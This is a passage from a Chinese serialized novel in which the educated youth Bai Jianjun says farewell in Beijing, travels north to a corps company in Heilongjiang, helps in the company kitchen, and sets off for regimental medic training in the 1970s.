“建红，我这先走一步了，你到了徽安那边，也要照顾好自己。”白建军看着夏建红说道。“你那边可能比我这边还要苦一点，还不如让你去内古，那边大家还有个照应！” “那边有刘妈一家，有熟人在，总会方便一些！”夏建红笑着说道。“我相信建军哥，你到哪都成！” “火车快开啦，抓紧时间上车！” “送亲友的同志们，都往后退一退！” “往后退一退！都往后退一退！知青们抓紧时间上车！” 车站的工作人员大声的喊道。 “燕子，建红！你们先陪着我姐，我有几句话和太奶奶单独说！”白建军看着夏建红和任燕说完，又对着白建华说道。“姐，你放心吧，我的本事，你还不知道么，我到了地方就给你写信！” “建军……” 白建华哽咽的已经说不出来话了，夏建红和任燕在白建军眼神的示意下拉着白建华往后退了几步，把空间留给了白建军和李香秀。 “太奶奶，朱厚那边我已经交代完了，他们以后只做粮食和黄鱼的生意，别的他们不懂行！时间短了，可能还看不出来什么，但是时间长了，他们要是有外心，您也不用去查账了，让他们自生自灭。”白建军抱着李香秀在李香秀耳边小声说道。“我的东西都在咱家的地窖里，我拿砖砌了一个暗格。” “我把咱家的东西都埋在你太爷爷的坟后面。”李香秀也小声的告诉白建军。“之后我会告诉建华你太爷爷的坟的位置。” 白建军和李香秀都没想到，两个人都在说着自己手里的牌，但还是李香秀的牌多一些。 “咱家最后的底牌还是海外。”李香秀知道时间不多了，赶紧小声说道。“比利时使馆，白莎丽，比利时公主，你大姑祖母，能联系上南边！慎用！” 随着车站工作人员的驱赶，知青们也不得不登上了北上的列车。对于大多数知青家庭来说，这一别不知道要多少年之后才能相见了。 第61章 行程（京城-团部） 由于是计划外列车，满载着京津地区知青们的列车是走走停停，除了在津门又接上了一批津门知青，火车在山海关等了3个多小时之后才继续北上。 这个时候，车厢里已然热闹，大家都掏出来出门之前家里给带来的吃的。主食大多都是馒头或者大饼，因为这玩意顶饿。大多数人都是啃一口馒头，咬一口黄瓜，喝车车厢里接的温水，没一会儿就算解决了晚饭。 火车咣当到了半夜，过了宁阳到了林春有些车厢的门才打开。这个车厢里的知青都是要在林春转车的，有的是往东去林吉方向一直到延边州下面的农村；有的则往西，去松原、白城方向的农村插队。 等火车再次停靠的时候，白建军他们这一车的知青就来到了尔滨。 “大家拿好自己的行李，带好随身物品，千万别落（la）了东西！”火车到了尔滨之后，列车员对着车厢里的知青们大声的喊道。“没睡醒的，旁边的人伸手扒拉扒拉！赶紧起来啦，到站啦！” 知青们大包小裹的提着自己的行李，在列车员的指引下走下了列车。 站台上乌泱泱站满了知青和前来接站的兵团的干部。 “一师在车头方向、依次是二师到六师，然后紧跟着是独立一团到三团。”一个穿着军装的兵团干部对着围过来的知青们大声的喊道。“你们都往各自所在部队集合，那边有你们所在部队的干部在等你们。” “都动起来！别聚在一堆！” 车站里到处都是吆喝声，叫喊声。 围在白建军身边的知青大多都是红旗中学毕业的，火车上也认识了其他几个京城来的知青，他们都在五师。大家提着行李，快速的往各自所在的部队集合。 等到了五师这边的集合点，已经有不少人都等在了这边，白建军带着这些人向一个干部模样人的报到。 “京城知青，白建军前来报到！” “京城知青，王美丽前来报到！” …… “先归队！” 干部在手里的表格上打完勾，对着白建军等人说道。 都经历过“学军”，所以大家都自动排好队，站在站台上等待，陆续等了有将近10多分钟，杂乱的站台才稍微显得规整了一些。刚刚还乱糟糟的下车的知青，也都在各自所在部队的区域集结完毕。 “立正！” “稍息！” “同志们，我先简单的说两句！” 五师这边，带队干部看着登记表格上的知青都到了，立正站好，大声的对着集合好的知青们说道。知青们也在听到口令下，全都立正稍息。 “请稍息！”在知青们再次立正站好之后，带队干部接着说道。“同志们，虽然你们没有参军，但是你们也是兵团的一名战士。兵团一直都是用部队的方式进行着管理，所以兵团也会用一名战士的标准来要求你们。” “我先说一下我们接下来的行程！”带队干部严肃认真的看着所有知青们说道。“一会儿我们会集体去别的站台，直接登车去往齐哈尔，到了那里我们会转乘货车前往师部，之后在师部会有各自所在的团部接你们下连队！” “大家听明白了没有！” “听清楚了啊！” “拿好你们的东西，听我口令！” “向左转，齐步走！” 站台上，归属兵团各师的知青们，都在带队干部的带领下往不同的站台而去。自此大多数知青会继续往祖国最东北角的二师、三师、六师而去，有的则去往东南方向的四师，只有五师是往西北方向。而一师的知青们已经开始出站，他们会直接乘汽车前往各自所在的连队。 随着一列列火车的开动，知青们也奔赴各地，白建军他们五师的所有人，也都乘上火车前往齐哈尔。知青们现在一点看向周围风景的心情都没有，昨天熬了一宿，火车的哐当声，加上不时人员不时走动的声音，让知青们都没有休息好，而且一到尔滨，连车站都没出，又转车往齐哈尔赶，一上车几乎所有的知青都在补觉。 又咣当了一上午，白建军他们五师的兵团战士乘坐客运火车的历程算是结束了，之后的一段旅程都要换成货运列车了。 五师的师部在双山，从四十五团到五十六以及六十七团和独立营都分布在师部周围广袤的土地之上。 白建军他们的火车到达师部所在的双山车站的时候，已经是下午五点了，在一处小场站，各个团的汽车早就等在了空场上，每辆卡车上都贴着各团的番号。知青们一下火车，带队干部就让知青们按照各自所属的团，往相对应的卡车那边集合。 白建军被分配到了四十五团，从京城这批来的知青里，白建军熟悉的只有王美丽和白建军一个团，不过两个人不在一个连队，白建军在九连，王美丽在六连。 带队干部和团里来接人的干部做好交接之后，团里来的干部就组织知青们上车。等知青们一个个被拽上了卡车，刚才还有着几百人的场地一下子就空了起来。在几声哨声之后，白建军坐着的四十五团的卡车率先驶出了空场。 车厢里的知青，终于能好好看看四周了，而且话也多了起来。 “没想到，这边的路还挺平的，我原来还以为咱们一路都得颠着过去呢。” “这一大片全是麦子，还真是一眼望不到头啊。” “这一根垄得干到什么时候去啊！” 知青们的话题逐渐多了起来，从道路一直到以后的衣食住行都是知青们关注的话题。不过也没等知青们聊多久，也就20多分钟，一行人就到了四十五团的团部所在地。 团部这边各连的马车早就等在一旁，也不等知青们和相熟的同学，朋友告别，各连的干部就开始催促知青们赶紧上马车。 “赶早往回走，连里都准备好了！你们都折腾好几天了，早点到地方，好好吃顿热乎的！” 各个干部大多都是这样的话。 白建军终于在两天一夜之后，从京城来到了几千里之外的黑江省，也即将开始自己的知青生涯！ 第62章 行程（二） 马车走在麦田中间的小路上，车上除了白建军，还有3个知青，一个京城的两个津门的，他们3个都是初中毕业，今年刚刚15岁。 “白大哥，刚刚和你说话的那个是你同学么？” 京城来的石兴华看着白建军问道。 “我和王美丽都是红旗中学毕业的！”白建军看着石兴华说完，又看着他们3个问道。“你们呢？” “白大哥，我是卫东中学的！” 石兴华立马回答道。 “我和孙嫣是津门红星中学的。” 蔡凯杰看着白建军说道。 “我比你们大一些，咱们又都是一趟车来的，以后咱们互相照应着！” 白建军笑着对着三人说道。 “白大哥，我听你的！” 石兴华热情的说道。 “小石，我看你好像听说过我？” 白建军看着石兴华这么热情，试探的问了一句。 “白大哥，我听说刘士宽带人堵你，还被你反打了，最后这孙子怂了才转到我们学校。”石兴华看着白建军兴奋的说道。“他到我们学校就消停了一个学期，之后和上我们初中部来得瑟，让我们给堵了几回才老实下来。” “得，不用说，你能来这边，估计也是他爹的手笔！” 白建军摇头苦笑了一下看着石兴华说道。 “你们俩呢？不会也是在学校得罪谁了吧？” 白建军又看向孙嫣和蔡凯杰两个人问道。 “我们……我们……”孙嫣有些支支吾吾的说道。“我们应该是因为家里的原因！” “得，俺们九连又来了俩成分有问题的！”赶着马车的一排长直接插了一句。“不过你们也不用担心，咱们连大多知青都是差不多的出身，谁也别笑话谁！” “排长，这应该是团部看我们这些知青都是‘可教育好的’，而且也认可了咱们连的教育成果才把我们安排到连里吧？” 白建军的这句问话，让排长手里的马鞭都停顿了一下，排长直接大笑了起来。 “你小子行，这话要是让连长和指导员听见，一定能开心！” “排长，我看怎么六连的马车也跟着咱们后面呢！” 正好排长说话了，白建军也赶紧和一排长搭话。 “咋滴，你小子六连有熟人啊！” 一排长回头看了一眼白建军又继续赶着马车问道。 “排长，我一个学校的同学就在后面的马车上。” 白建军连忙说道。 “咱们出了团部，沿着这条大道回路过四连、六连和十九连，咱们九连可以算是咱们团的最北边了，离团部有20多里呢。不过六连和咱们九连离得近，也就5里多地，不算远。”一排长和几个人直接介绍道。“咱们九连的地都在北面，最远到青年水库附近，青年水库就是当初咱们和地方的知青一起挖的。那边原来还有咱们的一个知青点呢。” “原来？”白建军看着一排长直接问道。“排长，你的意思是，知青点现在没有了？” “这几年，有关系有门路的参军的参军，上班的上班，都回城了，连里的人是越来越少，那边的知青点也就撤了。之前剩下的大多都是没有门路离不开的。”一排长也没有什么避讳的说道。“这今年才开始陆续补充人员，前天接了一批尔滨的和齐哈尔的知青，过几天还有一批上沪的知青要来。” “我们都是想扎根农村，认真落实伟大领袖的‘接受贫下中农再教育’号召的！” 白建军笑着说道。 “你小子思想觉悟很高么！”一排长笑着说道。“觉悟高是好事，不过到了连里，还是得认真学习。” “排长您说的是，我们一定认真学习。” 白建军笑着说话。 “你们都有啥特长啊？” 一排长随意的问着几个人。 “排长，白大哥外号可是叫白大夫。”石兴华等一排长说完，就急忙说道。“我听说白大哥初中的时候就下水救人，而且还把已经死了的人救回来了。” “真的？”一排长直接转身看着白建军问道。“你还是有这本事？” “排长，小石听的都是传言。人没死，只是溺水了。我是在《赤脚医生手册》上学的，简单的情况都能处理一下。”白建军看着转过来的一排长谦虚的说道。“就因为这个，大家都给我起外号叫白大夫，我这可算不上真大夫。” “这可算捡到宝了！”一排长兴奋的说道。“都坐稳了，咱们赶紧回去！” 虽然每个连都有一名卫生员，但是他们也就能看个头疼脑热的，稍微大一点的病都看不了。真的有大的病，要么去团部要么就得去师部所在地，再严重的病就得送齐哈尔甚至是尔滨了。 一排长直接扬起了鞭子打了甩了两鞭子，马儿也开始加快速度，不过这么一加快速度，可就苦了坐在马车里的白建军等四人了。等到了九连的连部，白建军都觉得自己脑袋晕乎乎的。 “报告！连长同志、指导员同志！”一排长看到前来迎接的九连连长张大山以及九连政委林国栋立刻立正敬礼说道。“今日接到团部命令，令下午五点于团部接新知青下队。计划接四人，实际接回四人。请指示！” “一排长！黑排长！” “到！”×2 “一排长带几位男知青下去整理内务，然后直接去食堂就行了！”指导员林国栋直接看着一排长和另一位女知青直接说道。“黑排长，你带着女知青去女生宿舍！” “是！”×2 一排长向林指导员和张连长敬礼，白建军他们也都学着敬礼。在一排长的带领下，白建军也看到了自己即将生活的地方。一进宿舍，一条大炕上，正整齐的摆着兵团知青们被褥行礼。 “你们找个地方，放下被褥，咱们去食堂吧！”一排长看着三个男生说道。“他们差不多都在食堂等着你们开饭呢！” 一排长笑呵呵的看着白建军他们三说道。 不出一排长所料，九连所有兵团知青和战士此时都已经在食堂等待着新战友了。 第63章 九连 当白建军和石兴华、蔡凯杰跟着一排长来到食堂的时候，九连的干部和知青们都已经整齐的坐在食堂了。 一进入九连的食堂，白建军就发现，虽然食堂空了能有四分之一的位置，但是剩下的人，估算下来仍然有将近100多人。这时候食堂这边已经开饭了，九连的知青们都差不多打完饭菜。指导员就让一排长和黑排长先带着几个打饭。 白建军在知道自己要来兵团的时候，就做过一些了解，整个兵团成立于1968年，1973年10月之后管理权才从军区移交到了地方，但仍然保留准军事化体制，兵团、师、团三级机关仍由军区现役军人管理，基层的连组织干部也多由退伍军人担任。 虽然都说之时青年上山下乡，可是细分一点应该分成：插队落户的知青，国营农场的下乡知青，生产建设兵团的下乡知青。 前面那种是去农村插队当农民，夏建红和徐静理他们俩就属于这种；后面这两种实际上是去生产建设兵团或者国营的林场、农场、牧场、草场之类的单位当农业工人，不过有个相同点，那就是他们全都被安排到偏远的农村和山区。 也就是赶上管理权移交之后，若是在73年10月之前，以白建军身上的问题，根本都不可能有进入兵团的机会。 从身份上讲，兵团知青属于国营企业农工，而插队知青的身份是农民。 兵团知青不但能享受国家给的福利，而且每个月都能拿固定工资。下乡插队的知青，劳动和生产全看自己的自觉，物质生活常常清苦艰难，不过行动上倒是自由了不少。1973年登报的那封信主要针对的也是插队知青的问题。 兵团知青在物质上能有保障，但是管理上相对插队知青要严格的多，劳动多少、啥时候能回家探亲，都规定得明明白白，大多制度都沿袭着部队上的一些规矩。 吃饭的时候，白建军也从同桌的一些之前知青口中知道了一些九连的大体情况。 九连的人员按照时间算，大体可分为三批。 第一批就是建设兵团之前的农场老职工及随父辈来到这边的本土青年学生；第二批是1968年6月至1970年5月期间，从津门、尔滨、上沪、京城以及其他地方陆续来到兵团的知识青年；第三批就是白建军他们这些最新一批知识青年。 一排长王长贵就是属于第一批的，女知青排长黑丽蓉，她是68年从山城到这边来的，是第二批知青中最早到的。 第二批中的很多知青都已经通过参军、调动返回城里了，虽然在兵团也是工作，但是这里怎么也没有在城里工作相对轻松，而且守家在地的，什么也都比较方便。 现在九连这些人里，还是因为前两天刚到的30多齐哈尔和尔滨的知青才有了现在的人数，第三批知青没到之前，九连的知青人数还不足兵团成立时的一半呢。 人一多起来，派系问题自然会随之而来，到不是搞对立，只是大家抱团取暖而已。而目前九连里主要是本土派和外来派，本土派多是黑江省各地的知青组成的，而外来派则是上沪、京城以及其他地方的知青组成。 派系这种说法也只是延续第二批知青们的叫法，当时他们刚到兵团的时候，实际上是叫“停派”和“复派”，后来才慢慢演变成现在这个情况。这样的情况不仅仅是九连独有，其他各个连都有这样的情况。 告诉白建军的就是第二批来的知青叫张铁刚也是京城的，69年初中刚上了一年就来到九连，来的时候才16岁还是个什么农活都不会的毛头小子，现在已经是九连的拖拉机手了。 而他之所以和白建军说这么多，也是知道白建军不仅在学校机修厂修过拖拉机，还会开，这就让两个人有了更多的共同语言。 白建军和张铁刚在聊的时候，九连连长张大山和指导员林国栋也在和王长贵了解白建军他们几个人的情况。 “连长，指导员，路上听他们聊，那个白建军好像懂些医术，以前有外号叫‘大夫’。” 一排长看着连长和指导员直接说道。 “这团里转过来的白建军的材料上也没说这一条啊！” 林国栋看着张大山有些疑惑的说道。 “听他自己说是先跳水救人，然后把溺水的人救过来了！” 王长贵回忆了一下说道。 “材料上到是有过他见义勇为受到表彰的记录。”张大山看着林国栋说道。“而且他在学校的表现一直都很突出，还是个团员。” “他的出身虽说有些问题，但是我估计正是因为白建军的突出表现，才能破格加入团组织。”林国栋想了想看着张大山说道。“他的社会关系也简单，父母都不在了，还有个姐姐也和家里断绝了关系，可以考虑等他适应一段之后，让他兼一下卫生员，给他加加担子。” “咱们连这一批还能进来不少人，但是大多都是初中生。”张大山看着林国栋说道。“团里的材料里，下一批上沪的知青里，咱们连就分到一个高中生，生产压力不小啊。” “还是发扬以老带新，传帮带的老传统吧！”林国栋笑着说道。“这么多年咱们都过来了，不过是又来一次而已。” “还有2个月就秋收了，希望还能来得及！” 张大山满怀忧虑的说道。 “连长，我知道你压力大。但是看今年大豆的长势，完成团里下达的任务应该没什么问题。”林国栋笑着安慰自己的搭档说道。“你安心抓生产，其他的交给我。” “一排长，白建军他们来了也按照老规矩，先到炊事班帮几天厨，等熟悉了一些之后，就跟着其他知青一起出工。”张大山的心情稍微缓解了一些，看着王长贵说道。 “那我明天带他们去炊事班找赵班长报到！” 王长贵立马答应道。 “看他和张铁刚聊的挺投机啊。”林国栋看了一眼白建军所在的位置。“看来不是什么刺头！” 第64章 战友 白建军、石兴华还有蔡凯杰跟着张铁刚回到营房的时候，不少知青也都回来了，大家有的在看书，有的在下棋，都在各自干各自的。 “给大家介绍一下，这是京城的白建军、石兴华，津门的蔡凯杰。”张铁刚作为老大哥拍了拍手说道。“你们也都自报一下家门。” “我是张宪有，京城102的！” “我是徐孝华，津门27中的！” “刘文济，阿拉桑海宁！” “刘文力，我是他弟弟！” “郑自新，桑海宁！” “大家都认识啦，以后咱们就是一个宿舍的战友啦！”张铁刚对着所有人说道“你们继续忙你们的，我带他们仨在连部走走！” 张铁刚说完，就带着白建军他们三个在连队这边转悠了起来。一路上张铁刚又详细向三人介绍了九连的各个建筑，如连部、营房、机修仓库、粮仓。 “咱们连最大的就是粮仓，每年秋收之后，收上来的麦子或是大豆都要晾晒之后入库，最后再上缴国家。”张铁刚指着两个10多米高的建筑对着三人说道。“这都是当年我们刚来的时候，用从砖厂拉回来红砖一点点盖起来的。” “旁边的就是机修仓库，平时的油料、拖拉机还有播种机以及收割机都存放在那边。”张铁刚指着旁边一排房子说道。“平时我大多都在那里，你们要是有什么事，随时都可以来找我。” “咱们九连算是咱们师里在最北面的连队了，从咱们这往北一直到青年水库，都是属于咱们连的地。”张铁刚指着北方说道。“一条垄好几里地，这可比你们在家‘学农’的时候的垄长多了。” 白建军以前觉得“学农”的一条垄都得干半天，真不敢想象完全靠人力，这要怎么完成秋收。 “现在说这些还早，再过1个多月，全连除了出炊事班，都要参加秋收，到时候你们就都能见到了。” 张铁刚笑着看着三人说道。 张铁刚边走边介绍，走到连部外面的时候，张铁刚到收发室看了看没有自己以及自己屋里的几个人的信，就带着三人往回走。 “咱们这就连部里有一部电话，但是只能联系到团里和师部，都是内线电话，只有团部那边有外线电话。我就是告诉你们一声，不过相信你们也不一定能用上。” 张铁刚看着三人想了想说道。 “咱们这边一般都是给家里写信，这边的信箱是：边字501信箱，地址是在信箱后面加上分队，咱们九连是12分队。回去营房之后，你们可以给家里写封信报个平安。你们待两年了才能申请探亲假，那时候你们才能回一趟家。” “张大哥，你这多长时间没回家了？” 石兴华看着张铁刚问道。 “我上次回去还是71年过年的时候呢，今年过年我还准备申请探亲假的回去看看。”张铁刚笑了笑说道。“我这也有三年没回去了，本来去年我就能申请来的，不过那时候连里人手不够，我就留下来了。” “是因为之前来的那批知青么？” 白建军看着张铁刚问道。 “是的，前几天过来一批，加上你们三个，在算上过几天还能到几个上沪的知青。”张铁刚看着几人说道。“咱们连差不多就能补充满了，我们带你们一段时间，等你们都熟悉了，我们也能回家看看了。” 张铁刚一提到家里，就有些伤感，哪怕兴奋的石兴华也看出来张铁刚情绪不高，回到营房之前，大家都没再聊什么了。 等到了营房，张铁刚就找来信纸和信封，下棋的张宪有和郑自新也让出了位置。白建军谢过张铁刚之后，就开始给家里人写信，第一封信就是给白建华和李香秀写的。 虽然刚离开家没几天，但是这封信的一个目的是告诉一下家里自己平安到达了，另一个目的是告诉家里自己的的通信地址，也是将自己的地址告诉给其他同学和朋友们。 这也是白建军和同学们在走之前做的约定，大家都会让家里人把通信地址在小酒馆那边登记一下，这样也能在家里写回信的时候把别人的地址带过去。 白建军写完第一封信，又给何雨柱写了一封信，同样也是报平安。当然白建军也是希望秦京茹能知道自己的地址，能给自己写封信。 走之前白建军又见过秦京茹两次，至于理由是不是秦京茹自己说的那样，白建军现在也搞不懂了。 不大功夫，白建军就写完两封信，并将信装到了信封里。 “我这没有邮票，明天我给你去女兵排那边问问，估计她们那边能有。实在没有，你们只能去家属房那边的小卖店看看了。”张铁刚见三人都写完写了，走过来对着三人说道。“之后你们送到连队值班室就行，那边每周会有人去团部两次，到时候他们会带过去。” “谢谢张大哥啦！” 白建军客气的对着张铁刚说道。 “客气啥，你们刚来，什么都得先适应适应。”张铁刚笑着说道。“不过你们也得做好准备，虽然现在是农闲时间，但是再过一段时间就是秋收了，那时候忙起来，可就没人顾得上你们了。” “主要是你们两个，白建军学农应该干过农活。”张宪有抬头对着石兴华和蔡凯杰说道。“要是赶上秋收的时候下雨，康拜因进不去，只能靠人力干，我们头两年刚来这边的时候，没少有人砍到自己。” “咱们这边有小木头条么？到时候往雨鞋里插上几根，虽然会有点难受，但是起码受伤的概率会小。”蔡凯杰看着张铁刚和张宪有说道。“这是我们去学农的时候，当地人告诉我们新手常用的土办法。” “那个影响效率，咱们这边太大了。”张铁刚摇了摇头说道。“咱们就是为了抢时间，这边气温下降的快，一般霜降左右就开始秋收，之后还得晾晒，就这么短短的一个月左右时间，就得完成所有的收割、脱粒、晾晒、收储等工作。要是赶上气温异常，这边10月份下雪也是有可能事。” “等到时候你们就知道啦！” 张宪有落下了一子之后得意洋洋的说道。 第65章 炊事班 一排长王长贵吃完早饭就带着白建军他们四个到了炊事班找到了班长赵德生。赵德生40多岁，戴着套袖正在伴着咸菜。 “赵班长，我给您带来了4名刚到的知青，老传统了！” “行吧，人交给我，你忙去吧！” 赵德生一直在忙着手里的活头都没抬的说道。 “那您忙着吧，我先走啦！” 王长贵说完，就离开了炊事班。 白建军几个人一时之间也不知道要干什么了，等了一会儿，赵德生伴完了咸菜，这才抬头看向了白建军他们四个人。 “都是城里娃吧！”赵德生问完见四人都点了点头，自己却摇了摇头。“你们先从挑水、捡柴火开始吧！” “报告赵班长，我之前在工厂的后厨打过下手。” 白建军直接和赵德生说道。 “呦呵，你在后厨都干什么了？” 赵德生诧异了一下，惊讶的看着白建军。 “洗菜、切菜、大锅菜都干过！” 白建军如实说道。 “小伙子，你可不要给我这放大炮啊！”赵德生不信的说道。“你在工厂能待多久，这些都能让你干？” “我既然能说出来，自然做得到！” 白建军自信的说道。 “行，一会儿我让人带着你和这个丫头去菜地那边掐豆角，等回来再说。”赵德生看了看白建军，然后直接对着四人安排起了工作。“你们俩先把水缸里的水挑满。” “大刚，你带他们俩去菜地那边掐点豆角回来！”赵德生安排完，直接叫来另一名炊事班的战士。“一麻袋就行了。” 褚占刚答应了一声，看着白建军和孙嫣直接说道。 “跟我走吧！” 白建军和孙嫣跟着褚占刚就往九连的菜地那边走。 “刚子哥，我叫白建军！”白建军看着身边的褚占刚介绍道。“这是孙嫣，我们是一趟车来的。” “你们好！你们好！”褚占刚憨厚的笑着说道。“他们都叫我大刚，你们也这么叫就成。” “我今年才17，你肯定比我大，我本就应该叫你哥的。” 白建军也笑着说道。 “嘿嘿，我也比你大不了几岁。” 褚占刚憨厚的说道。 “刚子哥，你家就是这的？”白建军看着褚占刚问道。 “嗯，俺家就在家属房那边，俺们全家来这边都10多年了。俺前年就在炊事班干活了，一直都是跟着赵叔。”褚占刚点头说道。“咱们边走边说！” “连里特意留了一块地种的菜，豆角、黄瓜、洋柿子、嘎达白、芥菜嘎达、白菜、土豆都有不少。”褚占刚热情的介绍道。“不过新土豆要过段时间才能起出来，白菜也不能动，这两样都是为了冬储准备的。那边还有个大菜窖，到了你们就知道了。” 走了能有10多分钟，就到了九连的菜地，褚占刚耐心的教了白建军和孙嫣怎么掐豆角，白建军也没有再和褚占刚闲聊。先把活干好了，以后还有很多时间。 干了一个多小时，三人才装满一麻袋的架豆角。褚占刚要自己背回来，可是白建军直接就背了起来。边走边聊，不大功夫就回到了炊事班。 白建军也没有班长赵德生指使，直接让褚占帮着刚找来了几个大盆。一下子就把三分之一的豆角倒在了第一个大盆里，之后又往盆里倒满了水，简单的投了一遍，又和孙嫣一起把豆角捞到另一个大盆里，又投了一遍，最后才装到另一个大盆里。 赵德生全程就在一边看着，也没说什么。也就10多分钟，白建军就把一麻袋豆角都洗完了。 “行，我承认，你确实是在食堂干过了。”赵德生看着白建军点头说完，又对着石兴华他们三个说道。“你们几个也记住，在食堂干活，不像在家里需要细致的精挑细选，咱们没那么多人手，还要保证全连的三餐，所以速度一定要快。 有时候就是菜有点烂了，也没啥关系。也就是这两年条件稍微好点了，刚建场的时候，那是有的吃就不错了，谁还能管好菜还是烂菜。但是土豆例外，土豆要是有长芽的，一定要剔除芽眼，那玩儿愣有毒。” 赵德生教育完了几个人，就开始让大家干活了。 忙活到中午吃完饭，几人才算轻松了一些。张铁刚也从女兵排那边借来了几张邮票，白建军他们趁着休息的功夫就把自己的家信送到了值班室。褚占刚还带白建军他们去了一趟家属房那边的小卖店。 等几个人回来，赵德生还是让石兴华他们三个干着零活，而白建军已经开始跟着赵德生这边学蒸馒头了。 这样的日子持续了快一个礼拜，另一拨上沪的5名知青到了之后，石兴华他们也开始跟着学蒸馒头和擀面条了，而之前他们干的那些杂活则由新来的几名上沪知青干了。 这天早上，白建军还在食堂里面忙活着，突然听到外面一个女生的尖叫声。白建军一个箭步就窜了过去，赵德生也放下手里的活跑了过来。 “怎么了？” 赵德生看着撒了一地的水，还有两个像是被吓到女生，赶紧问道。 “赵班长！老鼠，水缸里有只死老鼠！” 年龄稍微大点的女生指着水缸说道。 赵德生一听，直接走到水缸旁边，伸手就把死老鼠捞了起来，直接扔到一边的灶膛里，没好气地对那个年龄稍大的女生说道： “一只老鼠又不是老虎，你大呼小叫地干什么，捞出来不就完了吗。” 说完话，赵德生转身就走了。 “吴忆茹，这事儿经常有，你们把水缸刷一下，再重新挑满就好了！”白建军安慰着年龄稍大点的女生说道。“没什么大不了的，时间长了，慢慢你就习惯了。” 白建军说完，也回去干自己的活了。 吴忆茹、陈梦莹互相看了看，咬了咬牙就开始按照白建军说的把水缸又刷了一遍之后，才开始重新挑水。 这件小事只是个开始，又过了几天，等吴忆茹、陈梦莹还有其他几名上沪知青开始跟着白建军学着蒸馒头的时候，陈梦莹又起幺蛾子了。 “赵班长，这面发霉了，吃了会拉肚子的。” “吃了这么长时间了，也没看哪个拉肚子了！”刚刚回来的赵德生不耐烦的说道。“要是真拉肚子啦，你找白建军给你几片拉肚药。” “赵班长，找我要什么治拉肚的药啊！” 白建军疑惑的看着赵德生，怎么还刮擦上自己了。 “我找指导员要把你留在炊事班，可指导员让你明天去团部卫生队参加培训。”赵德生拍了拍白建军的肩膀。“你以后就得兼着咱们连的卫生员了！” “赵班长，我也不是被调走了，过几天就回来了！”白建军笑着看着赵德生说道。“有空我就过来您这帮忙！” “哈哈，好小子！” 赵德生和白建军这边有说有笑，独留尴尬的陈梦莹站在一边，吴忆茹赶紧把她拉了出去。 “茹姐！” 陈梦莹有些委屈看着吴忆茹。 “小莹，咱们得学会适应！” 第66章 卫生队 团部卫生队集训是通知所有连队的卫生员都去参加，九连到团部有20多公里的距离，白建军要是自己带着行李和个人物品走过去起码得小半天，九连指导员林国栋和沿途几个连队电话沟通了一下，直接安排连里的马车跑一趟。 白建军也就开始的时候坐在马车上，但是从遇到种子连的卫生员许玉琴之后，白建军就只把行李放在了马车上。种子连的卫生员许玉琴、八连的卫生员郁秀英、六连的卫生员杨晓琴都是女知青，白建军可没有那么大的脸坐在马车上。 “白建军，你这都跟着快10里地了，还有30多里地呢，你不能一直在下面小跑啊！”种子连的许玉琴看着从自己上了马车就跟着走的白建军说道。“不行我们几个往里窜一下，你在后面搭个边坐着。” “玉琴大姐，我没事！”白建军笑着摇了摇头说道。“我行李放在马车上就行，我体力还可以。” “你体力还能比马还好啊？撒冷的，赶紧上来。”许玉琴直接说了白建军一句，又对着杨晓琴说道。“晓琴，你把行李往前面挪点，给他腾点地方。” 杨晓琴立马把几个人的行李往前挪动了一下，把马车左后侧的位置让出来一块。 “白建军，你就听玉琴姐的，有啥不好意思的。”杨晓琴推了白建军一下。“咋跌，要不我和玉琴姐也陪着你走？” “我上！我上！” 白建军连忙答应道。 杨晓琴见白建军答应了，先一步上了马车，许玉琴看白建军也坐在后面，这才满意的点了点头。 “看你长得人高马大的，还挺秀蜜！”许玉琴大大方方的说道。“咱们都是战友，以后还得常接触呢，你这么秀蜜可不行啊！” “玉琴大姐，晓琴姐，我也不是秀蜜！”白建军客气的对着许秀琴和杨晓琴说道。“我就是想着，咱们刚认识，还是要稍微尊重一下。如果以后熟了，就是让我坐你们身边我都不怕。” “哈哈，你这话让我想起来我们刚到那会儿了。”许玉琴听到白建军的话，不由笑了起来。“那时候我们男生和女生之间都不怎么说话。你晓琴姐第一次参加集训的时候，查房的时候，看见男病房都往后躲。” “玉琴姐，我这点丑事你能记一辈子吧！” 杨晓琴也笑着轻捶了一下许玉琴说道。 “哈哈，肯定的啊！” 许玉琴也笑着说道。 “刚来的时候，也就我们这些通勤员能和女生说几句话。” 赶着马车的九连通信员周海兵也插了一句话。 “那后来呢，晓琴姐，你是怎么克服的啊！” 郁秀英看着杨晓琴问道。 “也没克服啥，你把连里的战友都当成自己的兄弟姐妹，你还能怕和他们说话么？”杨晓琴看着郁秀英说道。“有想着这些有的没的的功夫，还不如想想怎么让战友们的身体早日好起来呢。” “咱们从祖国各地来到兵团，甭管之前是京城的，还是上沪的或者是尔滨的，咱们都是是一家人！” 许玉琴看着郁秀英和白建军说道。 “我们刚来那会，还想着和这个斗，和那个斗。等真的开始从无到有的开垦荒地、建设兵团的时候，我们只有和天斗和地斗。”杨晓琴感叹的说道。“而那时候我们唯一能信任的，就是身边的战友。” 虽然一路上没往深了聊，但是就是简单的只言片语，也让白建军感受到这些“老三届”的哥哥姐姐们，当初来到这边的时候的诸多不容易。 有了这一路同行，哪怕刚开始还很害羞的郁秀英，也能和白建军和周海兵说上一两句话了。 “大周，辛苦你送我们这一趟啦！” 等到了团部，杨晓琴笑着对着周海兵说道。 “杨晓琴，你这倒跟我客套上啦！” 周海兵一边帮几人往下拿行李，一边和杨晓琴笑着说道。 “那你帮我们把行李拿进去吧！” 杨晓琴直接就不客气的开口了。 “行啊，我是没关系，不过你不怕方指导员看到说你就行！” 周海兵无所谓的说完，作势就要帮着杨晓琴拿行李。 “你可得了吧！”杨晓琴一把抢过背包，直接背到身后。“还是让方指导员省点心吧！” “建军，你先跟玉琴大姐和杨晓琴她们去卫生队，一会儿要是有你的信，我再给你送过去！”周海兵和杨晓琴开过无伤大雅的玩笑之后，对着白建军说道。 “那大周哥，就麻烦你啦！” 白建军客气的说道。 “客气啥，你们先去吧！” 周海兵对着白建军以及其他三位女生说道。 三女对着周海兵摆了摆手，就拎着个人物品往团部边上走。路上，许玉琴也给白建军和郁秀英介绍了起来。 “白建军、郁秀英，你们俩上次到团部，也没待多久就直接下连队了吧。”许玉琴边走边说道。“穿过团部，后面就是团部礼堂，礼堂左边那一排房子就是咱们团的卫生队，右边是干部家属区，军人服务社也在那边。” “团部这边的服务社东西还算挺全的，不像连里的小卖店没啥东西。”杨晓琴指了指右边的一个红砖房。“第二排把头的就是军人服务社。” 许玉琴和杨晓琴只是给白建军和郁秀英简单的介绍了一下，也没几步路，几人就来到了卫生队。 “报告指导员，种子连卫生员，许玉琴前来报到！” 